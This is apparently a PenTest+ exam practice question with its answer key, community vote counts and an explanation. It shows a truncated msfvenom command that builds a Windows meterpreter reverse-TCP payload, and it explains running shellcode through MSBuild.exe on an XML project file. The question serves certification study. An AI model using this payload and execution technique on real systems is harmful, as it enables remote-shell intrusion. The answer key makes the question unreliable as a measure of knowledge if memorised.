PT0-003 · Question #96
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1…
The correct answer is B. MSBuild.exe C:\evil.xml. The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code: Understanding MSBuild.exe: Purpose…
Question
Options
- Aregsvr32 /s /n /u C:\evil.xml
- BMSBuild.exe C:\evil.xml
- Cmshta.exe C:\evil.xml
- DAppInstaller.exe C:\evil.xml
How the community answered
(58 responses)- A3% (2)
- B84% (49)
- C9% (5)
- D3% (2)
Explanation
The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code: Understanding MSBuild.exe: Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's commonly used to build .NET applications and can also execute code embedded in project files.
Topics
Community Discussion
No community discussion yet for this question.